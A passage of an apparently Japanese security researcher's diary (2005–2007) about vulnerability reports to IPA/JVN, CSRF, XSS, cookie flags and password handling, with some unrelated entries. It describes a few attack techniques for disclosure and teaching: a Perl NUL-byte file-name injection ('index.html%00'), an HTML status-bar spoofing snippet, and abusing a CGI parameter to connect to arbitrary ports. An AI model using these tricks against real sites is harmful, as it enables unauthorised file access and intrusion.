以下の4つのHTMLソースの中には、1つだけ文法的に誤っている記述があります。それはどれでしょうか？
1. <h1>クイズ<span class="en">QUIZ</span></h1>
2. <a href="/">HOMEへ<strong>戻る</strong></a>
3. <p><img src="sea.jpg" alt="海の写真"></p>
4. <a href="./album/"><h2>アルバムコーナー</h2></a>
以上、全問正解できる？ HTML文法基礎クイズ より
まあ普通の問題、と思いきや、実は HTML2.0 だと
<!ENTITY % A.content "(%heading|%text)*">
<!ELEMENT A - - %A.content -(A)>
だったりしたので a要素の中に見出しを入れることができました。
もちろんそれは過去の話ですので、ここで迷うことはないと思いますが、Q1 と Q2 が難問だっただけに何かあるのではないかと勘ぐってしまいます。
Q7. 推奨されない理由は？
ある範囲の文字列を斜体で表示したい場合を考えて下さい。HTMLでは <i>～</i> で囲んだ領域は斜体で表示されると決まっています。しかし、<i>～</i>を使うことは最新のHTMLでは推奨されていません。（XHTMLでは使えません。）
それはなぜでしょうか？
以上、全問正解できる？ HTML文法基礎クイズ より
うーん、i要素は HTML4 では deprecated になっていませんし、XHTML1.0 Strict にも存在しますし、XHTML1.1 の Presentation モジュールにも存在しますので、私の常識で考えると問題自体が狂っているとしか思えません。
「最新のHTML」という言葉が HTML5 の WD を、「XHTML」という言葉が XHTML2 の WD を指しているのだとするとつじつまは合うかもしれませんが、いくらなんでもちょっと新しすぎると思います。どちらもワーキングドラフトですし……。
関連する話題: HTML
更新: 2007年4月8日
セキュリティホールmemo の ML に「ベリサインのセキュアサイトシールは飾りか」などという話 (www.st.ryukoku.ac.jp)がありましたが、もちろん YES でしょう。何しろ任意の内容のセキュアシールを捏造できる状態ですので、ベリサインのセキュアサイトシール自体に信頼性が全くありません。
この話は「いまだに残る日本ベリサイン偽装問題 Beyond Security とiDefense が検証(2002.7.5) (www.netsecurity.ne.jp)」という記事でずっと前から公になっていますが、いまだにできてしまうようですね。
※2007-04-08追記 : ずいぶん前にシールは新しいものになり、古い URL ではアクセスできなくなりました。今ではこの捏造はできなくなっているはずです。
こういうのも一種の XSS と言えるのかしら。
更新: 2007年4月2日
「マイクロソフト セキュリティ アドバイザリ (935423) Windows アニメーション カーソル処理の脆弱性 (www.microsoft.com)」。
うへー、これは厳しいですね。
CSS の
※追記: 「画像」と書きましたがもちろん Win IE 向けには *.ani なファイルが指定できちゃったりします。さらに参考 : 葉っぱ日記 - 「Windowsアニメーションカーソルの脆弱性」@水無月ばけらのえび日記 (d.hatena.ne.jp)
※2007-04-02追記 : *.ani なファイルは favicon としても使えてしまいます (えむけいさん情報ありがとうございます)。回避方法はないですね……。関連: 続・Windowsアニメーションカーソルの脆弱性。
関連する話題: セキュリティ
更新: 2007年2月5日
「IPAたんからお礼が！ (d.hatena.ne.jp)」。なんだかんだで受理ですか……って、なんだこりゃ。感謝だけですか?
今まで、こんな内容のメールは見たことがありません。受理されたら受理されたというメールが来るのですが、それとは明らかに内容が異なります。……これ、やっぱり届出としては受理されていないのかも。とりあえずテキトーにスルーしつつ、「不受理だけど通知する」というパターンで処理されているのかもしれません。
まあ、いずれにしても、脆弱性関連情報が適切に通知されることになったのであれば、結果としては良いのだろうと思いますが。
※2007-02-05追記 : はせがわさんの葉っぱ日記 (d.hatena.ne.jp)で言及していただきました (d.hatena.ne.jp) (ありがとうございます)。「はせがわようすけ」と名乗って受理されたことがあるそうで。ただ、そのコメント欄にもあるとおり、常連だと扱いが違うという可能性はあるかもしれません。
関連する話題: IPA / Web / セキュリティ / 情報セキュリティ早期警戒パートナーシップ
更新: 2006年12月6日
「JVN#08494205 Chama Cargo におけるクロスサイトスクリプティングの脆弱性 (jvn.jp)」。ひたすら良くある XSS ですが、開発者の方のコメントを見ると……。
悪意の第三者に誘導され、ユーザのブラウザ上で任意のスクリプトを実行される可能性があります。
特殊な環境下で問題が発生しますが、問題が発生する環境や方法などの詳細は公開出来ません。
うーん、「特殊な環境下」ですか。
実はこれ、知り合いの方に「ちょっと脆弱性がないか見て欲しい」と頼まれて見たときに発見したものです。その時点では、これが「Chama Cargo」の問題なのか、そのサイトに固有の問題なのか判断できませんでしたので、その切り分けを行いました。具体的には、Google で「Chama Cargo」を使用しているサイトを検索し、上位のサイトをいくつか見て、同様の問題があるのかどうかを確認しています。その結果、全てのサイトで問題を確認できたので、環境固有の問題ではないと判断し、ソフトウエア製品の脆弱性として届出を行いました。
というわけなので、報告者としては「特殊な環境下で発生する問題ではない」ということを確認した上で届け出たつもりなのですが、開発者の方の認識は異なるようで……。カテゴリ別の商品一覧のページで問題が起きるのですが、ひょっとすると「カテゴリ別商品一覧のページを用意すること自体が特殊である」という認識なのかもしれません。
いずれにしても、「特殊な環境でしか問題が発生しないから、普通の人は大丈夫」と思われてしまいかねない記述になっているのは、ちょっと気になりますね。まあ、自分が「特殊な環境」に相当するのかどうかという情報も与えられていませんから、全員アップデートするしかないのでしょうけれども。
※……それはそれとして、JVN のドキュメントになんか違和感があるなあと思ったら、報告者名が敬称略になってますね。こだわりませんが……。身内と思ってもらっているのかなぁ。
※2006-12-06追記 : 敬称追加されたようです。ありがとうございます。
関連する話題: Web / セキュリティ / IPA / JPCERT/CC / 情報セキュリティ早期警戒パートナーシップ / クロスサイトスクリプティング脆弱性
更新: 2006年11月18日
「やじうまWatch (internet.watch.impress.co.jp)」で紹介されていた「「水からの伝言」を信じないでください (www.gakushuin.ac.jp)」というサイトですが、
11 月 11 日前後から、このページが Google の検索にかからなくなっているようです。いわゆる「Google 八分」ではないかとの憶測もされていますが、単なる技術的な不具合の可能性も高いそうです。この段階で、憶測にもとづいて過剰反応するのは全く得策ではないと考えます。よろしくお願いします（11月13日）。
……だそうで、Google八分疑惑が持ち上がっている模様です。確かに、Google で http://www.gakushuin.ac.jp/~881791/fs/ を検索しても何もヒットしないので、インデクスに無い状態であることは間違いなさそうです。
コメントにもあるとおり、現時点では憶測でしかなく、確かな事は何も言えませんが……。
※第11回トンデモ本大賞 (homepage3.nifty.com)にノミネートされて有名になった(?)「水は答えを知っている―その結晶にこめられたメッセージ (www.amazon.co.jp)
※2006-11-18追記 : 現在では検索できるようになっています。Google八分ではなかった模様です。
更新: 2006年9月8日
FF3 (www.amazon.co.jp)
※2006-09-08追記: 実は移行期間でも HP の上昇量は減りません。レベルアップ時だけジョブチェンジでも OK です。
学者の強化ぶりは凄いです。魔道師ハイン戦で、黒魔道師が MP を使い果たしたので仕方なく学者が「ボムのかけら」を使ったら、約2000のダメージ……。もともと魔道師ハイン専用ジョブと考えられていましたが、この強化でますますハインキラーになりました。学者×4で速攻というのもありそうですね。ただ、体力が低いのは相変わらずなので、常用するのはつらいかもしれません。
更新: 2006年8月22日
第2回IPA賞 (www.ipa.go.jp)の受賞者に「コーディング作法ワーキンググループ」という方々がエントリーされているのですが、その成果物である「コーディング作法ガイド」というものが IPAのサイト (www.ipa.go.jp)からダウンロードできるらしいという話を聞いていたので、ちょっと読んでみようかと探してみました。
……いろいろ探してみたつもりなのですが、結局、Google で「コーディング作法ワーキンググループ」を検索したらすぐに発見できました。本当にありがとうございました。
※しかし、ついでに余計なものまで発見してしまったような……。
※2006-08-22追記 : 余計なもの (脆弱性) は修正されました。ご対応ありがとうございました。
関連する話題: セキュリティ
更新: 2006年4月20日
スラッシュドットに「情報処理試験(2006年春)はどうでしたか (slashdot.jp)」というトピックができていますね。今回、「テクニカルエンジニア(情報セキュリティ)」という試験区分が新たに追加されたとのこと。
「情報処理技術者試験センター：問題冊子・配点割合・解答例 (www.jitec.jp)」として問題が公開されているので見てみましたが、ディレクトリトラバーサルやSQLインジェクションの攻撃手法を答えさせるものがあったりして、なかなか興味深いです。
個人的に印象深かったのは、拡張子指定を迂回する話ですね。Perl スクリプトで、外部から与えられた $fname という名前に対して '.cep' という文字列を連結してから open に渡しています。$fname は何もサニタイズされていませんが、プログラム内で '.cep' という固定の文字列が連結されてから open に渡りますので、これを書いた人は「拡張子 .cep のファイルにしかアクセスできない」と思っているわけです。そこで「任意のファイルにアクセスする方法を答えよ」というのが問題になります。
まあ、単にファイル名の後ろに NUL文字をつけるだけなのですが、この手法、意外に知られていないように思います。以前、私が社内向けのセミナーで紹介したことがあるのですが、普段から Perl のプログラムを書いていて、XSSなどは知り尽くしているような人にも「初耳」と言われたりしましたので……。
※Perl の open は NUL を含むファイル名を渡されると NUL 以降を無視します。クエリに index.html%00 などと指定すると index.html(NUL).cep という文字列が open に渡ることになりますが、index.html.cep ではなく index.html が開かれます。
※2006-04-20追記: もう少し正確に言うと、Perl は NUL を含むファイル名をそのまま OS に渡すので、結果として NUL 以降が無視されます。Perl が一律に文字列の NUL 以降を無視しているわけではないので注意が必要です。詳しくはコメント欄を参照してください (PANDA さんありがとうございます)。
ところで話は変わりますが、こんなご意見が。
まあIPAが「XSS＝クッキー漏洩」としか考えていないことは、脆弱性届け出状況 [ipa.go.jp]とかを見ても明らかなのだがorz
それはあるいは私のせいかも。届出様式には「5) 脆弱性により発生しうる脅威」という項目があって、これは届出者が書いていますので。
関連する話題: セキュリティ
更新: 2006年4月14日
本日のパッチによって、いわゆる CSSXSS の対策がなされたようです。同一ドメイン上の CSS の内容は読めますが、他ドメインの CSS に対して cssText プロパティを参照しようとすると、「アクセスが拒否されました」と言われて失敗します。
これにより、他ドメインの任意のコンテンツにアクセスできてしまうといったことはなくなったはずです。端的に言うと、Firefox と同様になったということですね。
※2006-04-14追記 : 一応の対策はなされたものの、完全に FIX したわけではなく、依然としてアクセスする方法があるようです。参考 : InternetExplorerのいわゆるCSSXSS脆弱性と4月度のセキュリティ更新プログラムについて(その２) (d.hatena.ne.jp)
※ちなみに Firefox の場合は DOM2-style (www.w3.org) 準拠で、document.styleSheets[0].cssRules[0].cssText などとしてアクセスすることができます。これも同一ドメインでは取得できますが、クロスドメインでは取得できません。
関連する話題: セキュリティ
更新: 2006年4月3日
「開発者のための正しいCSRF対策 (www.jumperz.net)」。
CSRF の対策としては「攻撃者の知り得ない値」をリクエストに含める必要があり、その候補のひとつとして Cookie が上げられていました。それ自体は CSRF の対策としては正しいのですが、今回、Cookie の値を HTML 中に書き出すと別の危険性があるという指摘がされています。特定ブラウザ (MSIE) の問題ではあるのですが、確かに危険ですので、CSRFの解説に追記しておきました。
※ちなみに「CSSXSS」と呼ばれている問題の本質は「クロスドメインで任意の HTML の内容が読み取れてしまう」という点です。これは XSS とはあまり関係ありませんし、ある意味 XSS よりも危険です。その呼称は誤解を招くと個人的には思っています。
※2006-04-03追記: リンク先ですが、あっさりと閉鎖されてしまったようです。どう考えても名誉毀損を構成するような内容ではなかったと思いますが……。
更新: 2005年11月1日
「大量の「はまちちゃん」を生み出したCSRFの脆弱性とは？ (www.itmedia.co.jp)」という記事が出ています。やはり、CSRF というものを今回初めて知ったという方が多かったということでしょうか。
IPAとJPCERT/CCが4月19日に行った、2005年第1四半期の脆弱性届出状況に関する説明会でも言及されていた。
言及されていましたけれど、説明がしょぼくてなんだかよく分からなかった人が多かったのではないでしょうか。基本的に IPA の報告は統計データを報告するのが趣旨で、脆弱性の技術情報詳細が発表されないのは当然ではあるのですが……別途、もっと技術詳細が公開された方が良いだろうと思うのですよね。
そんなこんなで、もう発見者が (具体的なサイト名などは伏せて) 脆弱性の技術的な詳細を積極的に公表するべきではないのか、と思いはじめています。しかし取扱い終了となったものは問題ないとしても、取扱いが終了していないものについては公表できないのが問題です。
※2005年Q1 に IPA に届け出られたという CSRF の問題も、まだ取扱いが終了していません。CSRF はその場で簡単に修正できるような問題ではなく、設計段階から再考しなくてはいけないような問題ですので、対応には時間がかかることが予想されます。取扱いが終わらないと内容について言及することができなかったりしますので、なんとも苦しいところです。
※2005-11-01 追記: 修正されました。CSRF 直った参照。
更新: 2005年11月1日
2005年 Q1 の脆弱性届出状況が公表されました。
今四半期中に、製品開発者により脆弱性ではないと判断されたもの、不受理としたものはありませんでした。
以上、ソフトウエア等の脆弱性関連情報に関する届出状況 [2005年第1四半期（1月～3月）] より
「不受理とした」ものはあるような気がしますが、その後に「やっぱり脆弱性として取り扱うことにしました」といって受理された場合には不受理にはカウントされないということなのでしょうね。まあそりゃそうか。
ウェブアプリケーションの方では、「新しい」脆弱性として CSRF について言及されています。
「クロスサイト・リクエスト・フォージェリ」は、ウェブサイトにアクセスすると自動的にログインするような機能を悪用して、そのウェブサイトの正規の利用者に対し、ユーザ登録内容の変更や意図しない商品購入などをさせるものです。「クロスサイト・リクエスト・フォージェリ」の対策としては、悪用しにくいユーザ登録フォームや商品購入フォームを設計する9ことなどが挙げられます。
(～中略～)
9 この攻撃ではHTTP のGETメソッドが使われることが多いため、フォームの処理にPOSTメソッドのみを使用することで、悪用されにくくなります。
いや、その注釈はちょっと……。POST メソッドで踏ませるのも難しいことではないと思いますし。Internet Watch の方では
CSRF対策には、リファラーのチェックを行なうなどのWebサイト作成者や管理者による処置が必要だ。
以上、SSIインジェクションやCSRFなどの新たな問題も～IPAの脆弱性届出状況 より
となっていて、こちらはまあ問題ないと思いますが。
※CSRF に関して、個人的には「パスワードを変更するようなフォームでは、必ず同時に旧パスワードを入力させるべし」というのを強く訴えたいところですね。そうでないパスワード変更フォームが CSRF で攻撃されると何が起きるのかはすぐ分かると思いますが、同時に旧パスワードを入力する必要があれば大丈夫です。
※2005-11-01 追記: 私が届け出ていた問題は修正されました。CSRF 直った参照。
面白いことに、脆弱性の類型にこんなものがあります。
HTTPSの不適切な 利用
HTTPSによる暗号化をしているが、ユーザへの説明に間違いがある、または、ウェブサイトの設計上、ユーザから証明書が確認できない
以上、ソフトウエア等の脆弱性関連情報に関する届出状況 [2005年第1四半期（1月～3月）] より
いや、私もこれは脆弱性なのかどうか微妙だと思ったのですが、試しに届け出てみたらあっさり受理されたという。
関連する話題: セキュリティ / IPA / JPCERT/CC / CSRF / 情報セキュリティ早期警戒パートナーシップ
更新: 2005年10月30日
えむけいさん (emk.name)にご指摘いただきましたが (ありがとうございます)、高木さんのところに「クロスサイトリクエストフォージェリ（CSRF）の正しい対策方法 (takagi-hiromitsu.jp)」という話が出ています。議論が深まるのは良いことですね。
用語「CSRF」の解説の誤解を招きそうな点を修正しておきました。
※2005-10-30追記: しかし「GET でなくて POST 推奨」という話はホントにどこから出てきたのか謎すぎます。IPA の 2005 年 Q1 の報告に書いてあったのですが、その IPA に届け出られた CSRF は GET ではなく POST で動作するものなので……。
更新: 2005年8月14日
「ネットワーク運用におけるセキュリティ：まずはセキュリティの基本的な考え方から理解する (www.itmedia.co.jp)」という記事が出ていますが……。
●コンピュータソフトウェア著作権協会（ACCS）
ACCSからの情報漏えいは、一般にはあまり知られていないかもしれないが、いくつかの点で非常に興味深い事件といえる。
この事件は、大学の研究者がACCSのWebサイトに存在するセキュリティホールを発見したことが発端だった。この研究者は、ACCSに対してセキュリティホールの存在を連絡したが、ACCSのWebサイト運用の委託者との行き違いもあり、対策は行われなかった。このため、彼はあるセミナーで、脆弱なWebサイトの事例としてACCSを紹介したのだが、この際に具体的なアクセス方法まで公開してしまった。こうして攻撃方法が第三者に公開されたことにより、ACCSのWebから個人情報が引き出され、公開されたことで事件となった。
これってそんな事件でしたっけ? 私の認識とはだいぶ食い違っていますけれど……。
私の認識ではこんな感じ。
個人的には、ACCS が脆弱性に気づかなかったことにはやむを得ない面があると思いますが、別の意味で教訓にすべき点があると思います。ほとんど誰も指摘していませんが、ASK ACCS ではあれだけの個人情報を必須項目にしていたにもかかわらず、SSL を使用していませんでした。これについては弁解の余地がないと思います。
結果的にパケット盗聴による漏洩は起きなかったのですが、「情報モラル」を提唱する組織としては個人情報に対する姿勢が甘すぎたと思いますし、この点はもっと厳しく問われても良かったのではないかと思います。
※いや、実は漏洩していて発覚していないだけという可能性も否定できませんが。
※2005-08-14 追記: 該当記事から、引用部分が丸ごと削除されているようです (こじまさん情報ありがとうございます)。「事実と違うだろ」ということで削除したのでしょうか。
関連する話題: セキュリティ / ACCS / ASK ACCS 個人情報漏洩事件 / SSL/TLS / ファーストサーバ
更新: 2005年7月18日
ちょいと Movable Type の話をしていて yuuさん (w3j.org)に教えていただいたのですが、Movable Type には CSRF攻撃の問題があるみたいですね。「MT をインストールしたら真っ先に行うべきセキュリティ対策 (hxxk.jp)」
※2005-07-18追記: リンク先の記事はパワーアップして移動しているようです : 「Movable Type における CSRF の可能性と各種対処法 (hxxk.jp)」
しかし、ちゃんと CSRF という名前があるのに全然出てこないというのが……。この名前はあんまり一般的ではないのかなぁ。
※XSS に比べると遙かにマイナーだとは思いますが。ちなみに CSRF というのは "Cross-Site Request Forgeries" の略で、要するに「編集」「削除」などのコマンドを実行するような URL を踏ませる攻撃です。ふつうの人が踏んでも何も起きませんが、管理者権限でログイン済みの人が踏むとコマンドが実行されてしまったりするわけで。スクリプトが有効なら POST させることも簡単ですから、POST だからといって油断することもできません。
関連する話題: セキュリティ / CSRF / Movable Type
更新: 2005年5月27日
JVN で「JVN#FCAD9BD8 メールクライアントソフトにおける mailto URL scheme の不適切な解釈 (jvn.jp)」が公開されました。
Shuriken Pro (www.amazon.co.jp)
実はこの話、ニフティの FPROG で「mailto: URL で From: を指定する方法ってありますか?」という質問が出たのがきっかけだったりします。脊髄反射で「そんなことできたら脆弱性ですよね」みたいなコメントを書いたのですが、その後実際に鶴亀メールで試してみたらなんと指定できてしまったという。といっても「From: がダブっている」という旨の警告が出て送信はできませんでしたので、鶴亀メールについては問題ないと判断しましたが……他の MUA はどうだろうということでいろいろ検証してみたところ、ほとんどの MUA では From: は指定できないものの、Bcc: が指定できることが分かりました。
多くの MUA では Bcc: が必ず表示されるという実装になっており、RFC2368 には反していますがまあ問題はないかな、と判断したのですが、Shuriken (Pro ではない、古いモノ) では Bcc: が表示されないまま送信されてしまうことが発覚したという次第です。
その後 Shuriken Pro を使用している方にご協力いただいて Pro でも再現することを確認しました。そして Shuriken Pro の脆弱性として届け出たのですが、それがいきなり不受理。IPA の方曰く:
届出にありました「Bcc: の内容が表示されないこと」により第三者による悪用が可能になるということは認識しております。
ただし、以下の告示、ガイドラインの定義と照らし合わせた際に、今回の届出内容はソフトウェアにおける正規の挙動の一部であるため、ソフトウェアの機能や性能を損なうわけではなく、脆弱性ではないと判断しました。
まあそんなものなのかな、と思っていたのですが、何がどうなったものか、一週間ほどして
しかし、私どもで再度検討しましたところ、mailto スキームにおいて Bcc: を指定できてしまうこと自体は RFC 2386 に準拠しておらず、セキュリティ上好ましくない実装であり、この点において脆弱性であると判断し、取扱うことにいたしました。
と、突如方針転換。そうして現在に至った感じです。
※2005-05-27 追記:「RFC2386」は原文ママ。"The mailto URL scheme" の RFC は RFC2368 です。
そんなわけなので、実は当初の届出者の意図とはちょっと違う形で公開されていますが、まあそれはそれで良いかなと思います。
※前にも書きましたが、こういうのは「不受理」にはカウントされないみたいですね。
関連する話題: セキュリティ / IPA / JPCERT/CC / 情報セキュリティ早期警戒パートナーシップ / ジャストシステム / RFC
更新: 2005年5月19日
某所のイントラネットでは、とある Wiki クローンが動いているのですが、なんか唐突に XSS のような現象を発見。
私は Wiki のことは全く知らない素人ですので、Wiki に詳しそうなプログラマーであるりゅうさん (rryu.sakura.ne.jp)、むらまささん (www.fprog.org)にちょっと訊いてみたのですが、
というようなお話。感想としては「へぇ」という感じですが、まあ何とかする方向で。
※2005-05-19 追記: この問題は JVN で「JVN#465742E4 Wiki クローンにおけるクロスサイトスクリプティングの脆弱性 (jvn.jp)」として公開されました。
関連する話題: セキュリティ / クロスサイトスクリプティング脆弱性
更新: 2005年5月12日
セキュリティホールmemoで紹介されていた (www.st.ryukoku.ac.jp)、[Full-Disclosure] IE/OE Restricted Zone Status Bar Spoofing (lists.netsys.com)というお話。URL 偽装系の新技ですが、label要素がこう使えるとは盲点でした。
結構驚いたのですが、こんなのを書いてみると……
<p><label for="foo">test</label></p>
<p><a href="http://altba.com" id="foo">test2</a></p>
IE の場合、ラベルの方をクリックしただけで遷移してしまいます。IE は a要素もコントロールとして扱っているということなのでしょうか。
更新: 2005年5月6日
ニフティを退会することにして、かわりに無料の @nifty ID というのに登録したのですが、今日になってその登録の通知が来ていました。これを開けてびっくり、なんとパスワードが書いてあります。私が ID を登録した時の初期パスワードはニフティ側で機械的につけられたものだったのですが、もちろんそんなパスワードは覚えられませんから、私はパスワードを変更したのです。実は登録直後は変更の方法も分からなくて、一日経ってから変更できることに気づいたという……。
驚いたことに、今日来た通知には私が変更した後のパスワードが記載されていたのですね。これはつまり、ニフティのサーバにはパスワードが生のままか、少なくとも復号可能な状態で保存されているということです。そしてシステム管理者はそれを印字できると。
これは非常に困ったことになりました。何故かというと、私が入れたパスワードは他のところでも共用していたりするものだからです。これは非常に迂闊でした。まさかパスワードが読み出せるシステムだとは思っていなかったので……。
とりあえず、私に送られてきた郵便物がどうやって作られて誰がそのパスワードを読み得たのかを問い合わせる必要がありますが、他の皆様 (誰?) には、ニフティに登録したパスワードは読み出し可能であり、それは郵便物に印刷され得るという事実をお知らせしておきます。もちろん、他で使っているパスワードをニフティで使うことは決してしてはなりません。
※追記: ひょっとすると読めるのは無料の「@nifty ID 登録ユーザー」のパスワードだけで、通常の有料会員のパスワードはちゃんと保護されているのかもしれません。そのあたりはちょっと分かりかねますが……。
まあ、とりあえず片っ端からパスワード変更ですな。
※2005-05-06 追記: @nifty:@nifty ID登録:パスワードの再発行 (www.nifty.com)を見ると、「弊社窓口にてご依頼を確認次第、 パスワード変更を行ない、ご登録住所宛に郵送にてお知らせいたします」とありますね。ユーザが入力したパスワードを印字して送っても問題ないという立場なら、現在のパスワードをそのまま送ってしまっても良いはずですが……。
更新: 2005年4月21日
某所で稼働しているプライベートgoo (private.goo.ne.jp) を使って altba.com のポート 25番を襲わせてみたら、見事に成功。
実はプライベートgoo では、CGI の稼働しているサーバと検索のデータベースを持つサーバとが分かれています。そしてここからが凄いのですが、検索データを拾ってくるサーバの名前とポート番号は、フォームのパラメータで指定するようになっているのです。そのため、これを適当な値に設定して POST してやると、CGI の稼働しているサーバは、任意のサーバの任意のポートに接続しに行ってくれます。
※正確には「分かれている」のではくて「分けることができる」で、たいていの場合は localhost に接続しに行くように設定されています。
※外向きの怪しいパケットはファイアウォールでフィルタされそうなものですが、CGI の動いているサーバが DMZ に置かれているためなのか、プライベート goo のこれがフィルタされたケースは見たことがありません。
これ、去年の3月に別の場所で気づいてちょっと気になっていたのですが、未だにそのままなのですね。とりあえずファイアウォールの状態確認に使えたり、DoS に使えたりする可能性がありますが、それほど問題ないのかしら。
※2003-07-10 追記 : これ、よく考えたら私が自ら気づいたのではなくて、keitap (blog.keitap.com) さんに教えてもらった情報でした。
まあ、考えてみると Another HTML-lint のようなものだって任意のサーバの任意のポートにつなげたりするわけですし、それはそれで特に問題ないような気もしますね……。
※2004-11-18 : 諸事情により内容を非公開としました。
※2005-04-21追記 : 最新バージョンで修正されたようです。内容をふたたび公開しました。
更新: 2005年4月19日
ZnZさん (znz.s1.xrea.com)の情報によると、ニフティの Web フォーラムの RSS は http://bbs.com.nifty.com/mes/FPROG_B001/index.rdf なんて URL で公開されているようです。知りませんでした。
それは良いのですが、その URL の末尾の index.rdf を削ると該当会議室そのものが見えるのだろうと期待して http://bbs.com.nifty.com/mes/FPROG_B001/ にアクセスしたら、期待に反して Not Found といわれてしまいました。あれ、と思ってさらに上の http://bbs.com.nifty.com/mes/ にアクセスしてみると、「/ のディレクトリの一覧」という謎のページが。
いちおう JSP のコードが読めたりするようではあります。幸か不幸か、個人情報が公開されているようなことはないようですので、意図して公開しているのかどうか判断がつきかねますが。
※ディレクトリ一覧が見えているというだけでは、届け出ても「意図的に公開している可能性もあるので脆弱性とは判断できません」などと言われることがあります。個人情報が公開されているようなことがあれば意図的に公開されているのではないと判断できますので、確実に脆弱性として処理されます。ということで、発見者は個人情報等のデータが公開されていないか積極的に探さなければなりません。:-)
※2005-04-19 追記: Not Found になったようです。ステータスが HTTP/1.1 404 /mes/ となっているのが謎ですが。しかし一覧が見えなくなっただけで、http://bbs.com.nifty.com/mes/memory.jsp などにはアクセスできるようですね。
更新: 2005年4月7日
ココログにはビジネスユースもあるということで 2件の脆弱性を届け出ていたのですが、2件とも取扱い終了となりました。
そのうちの 1件は SSI インジェクションの事例なのですが、ウェブサイト運営者はこれを脆弱性ではないと主張したようで、修正されないまま取扱い終了となっています。exec cmd は使えないようですので、大きな問題は無いといえば無いのかもしれませんが……ちょっとひっかかる感じがしますね。
まあ、ウェブサイト運営者が脆弱性でないと言うからにはテストしても問題ないでしょうし、情報を公開しても問題ないでしょう。近いうちに、どのようにしてココログに SSI がインジェクションできるのか、それで何ができるのかをまとめて書こうかなと思っています。
※なお、もう 1件の方は確かに修正されていることを確認しました。今のところニフティからのアナウンスはないみたいですが……まあ、一生アナウンスされない可能性が高いですね。
※2005-03-12 追記: 「近いうちに」と書きましたが、しばらく情報の公開を見送ります。先送りの理由は述べられませんが、お察しください。
※2005-04-07 追記: ココログには任意のファイルが置けるようになりました。SSI を含む HTML をそのまんま置けますので、もはや技も何も必要なくなっています。
更新: 2005年4月6日
花粉の時期ということでマスクを使用しているのですが、最後の一枚となったので買いに行くことに。
私が愛用しているのは「ユニ・チャーム超立体マスク花粉用やや大きめサイズ」なのですが……ない。ありません。薬局を 6件回りましたが、どこにもないのです。
仕方なく他の立体っぽいマスクを買ったのですが、呼吸すると鼻に吸い付いてくる感じでイマイチです。がっかりしていたところで、こんな記事を発見しました。
花粉症に悩む人の中には人気商品を求め何軒も薬局を回る人も。家族に頼まれ、東京・神田の薬局で「超立体マスク」を探していた会社員男性（３９）は「もう何軒回ったか、分かりません。会社でも花粉症の上司が『超立体』が買えない、と嘆いていました」と話していた。
以上、満開！花粉商戦 人気商品は品切れ続出 より
しくしく。みんな買えないのね……。
※2005-04-06 追記: 「ユニ・チャーム超立体マスク」の品薄についてのお詫び (www.unicharm.co.jp)という文書が公開されていますね (こじまさん情報ありがとうございます)。それから、「ユニチャーム」は「ユニ・チャーム」が正解のようですので修正しました。
更新: 2005年4月3日
＞GO FPROGORG
このパソコン通信フォーラムは終了です。今後は http://forum.nifty.com/ へどうぞ
というわけで終了。今後は Web フォーラムを使えというお話になります。スクリプトを無効にしていれば安全だろうとは思いますが、ログインできないので発言できないですね。いや、フォームを書き換えたりして頑張ればログインはできなくもないですが、非常に面倒なので。
※2005-04-03追記: 実は掲示板一覧のページの右上に「ログイン」というリンクがあり、このログインはスクリプト無効でも使えます。そこで一度ログインしておけば問題なく利用できるようです (phinloda さん情報ありがとうございます)。
※幸いにしてパレットも終了したようですので、脅威は一つ減りましたが……。近々@nifty パレットのセキュリティホール まとめは復活、かな。
関連する話題: ニフティ
更新: 2005年3月20日
とある HTTPS なログインフォームに ID とパスワードを入れてログインすると、セッション Cookie が発行されます。その Cookie には secure フラグがついていません。ここで、ドメインをそのままにスキームだけ HTTP に変えた URL に誘導してやると、非 SSL で Cookie: フィールドが流れる……。
……と思いきや、何故か Cookie: フィールドは送られず。何でやねん。
気を取り直して Firefox で試してみたら、しっかり Cookie は流れました。しかし IE6 では何度やっても Cookie 流れず。うーん、あえてそういうふうにしてあるのですかね?
※2005-03-20追記: Cookie に secure フラグがついていない件は脆弱性として処理され、修正されました。
関連する話題: セキュリティ / ニフティ / ココログ / Internet Explorer / SSL/TLS
更新: 2005年3月20日
あるところに「会員限定」の掲示板がありました。それは会員だけが読めることになっていて、ID とパスワードを入力してログインすれば内容を読むことができます。私も会員ですので、ID とパスワードを入れて内容を読むことができました。
ところがある日、不意に嫌な予感がしたわけです。それは、「URL の一部を変えるだけで、内容がノーパスワードで読めてしまうのではないか?」という、非常に不吉な予感なのでした。
予感が当たっているのかどうかを確かめるのはとても簡単なのですが、一つ問題があります。予感が当たっていて、ノーパスワードでその掲示板の内容を読めてしまったら、それは不正アクセス禁止法に抵触するかもしれないのです。
そもそも私は正規のユーザですから、その私がノーパスワードで内容を読んだとしても、誰にも迷惑はかからないでしょう。しかし、これが「不正アクセス行為の禁止等に関する法律」の 3条 2項 3号で規定されている「不正アクセス行為」に該当する可能性は否定できません。
電気通信回線を介して接続された他の特定電子計算機が有するアクセス制御機能によりその特定利用を制限されている特定電子計算機に電気通信回線を通じてその制限を免れることができる情報又は指令を入力して当該特定電子計算機を作動させ、その制限されている特定利用をし得る状態にさせる行為
以上、不正アクセス行為の禁止等に関する法律 より
問題の掲示板にはログインフォームがあり、ID やパスワードの入力によって会員限定掲示板の内容が読めるようになっていますから、明らかにアクセス制御機能を備えていると言えるでしょう。「たまたま FTP のポートが開いていたから不正アクセス」とかいう訳の分からない話ではありません。
※もっとも、「URL の一部を変えるだけで簡単にアクセスできる状態では、アクセス制御機能を有しているとは言いがたい」という主張はできるかもしれません。アクセス制御機能を欠いている状態であれば不正アクセスにはならないわけです。しかし、そのような主張が通るのかどうか、そこがちょっと自信ないわけです。
というわけでちょっと困ったのですが、不正アクセスにならないことが確実な方法を思いつきましたので、それを実行に移すことにしました。同法の 3条 2項 2号にはこうあります。
アクセス制御機能を有する特定電子計算機に電気通信回線を通じて当該アクセス制御機能による特定利用の制限を免れることができる情報（識別符号であるものを除く。）又は指令を入力して当該特定電子計算機を作動させ、その制限されている特定利用をし得る状態にさせる行為（当該アクセス制御機能を付加したアクセス管理者がするもの及び当該アクセス管理者の承諾を得てするものを除く。次号において同じ。）
以上、不正アクセス行為の禁止等に関する法律 より
※強調は引用者による
要は、管理者の許可を得て試せば OK というただそれだけの話です。今回は幸いにしてアクセス管理者が理解ある方だったので、特に問題なく許可をいただくことができました (ありがとうございました)。
ただ、いつもこうして許可がいただけるとは限らないわけでして、そこがなんとも難儀なところです。アクセス権があるユーザがアクセス制御機能を回避しても実害は全くないのですが、不正アクセス禁止法はそういう「実害」を避けるための法律ではない、というところがミソなのでしょうね。こういう、一般人の意識と
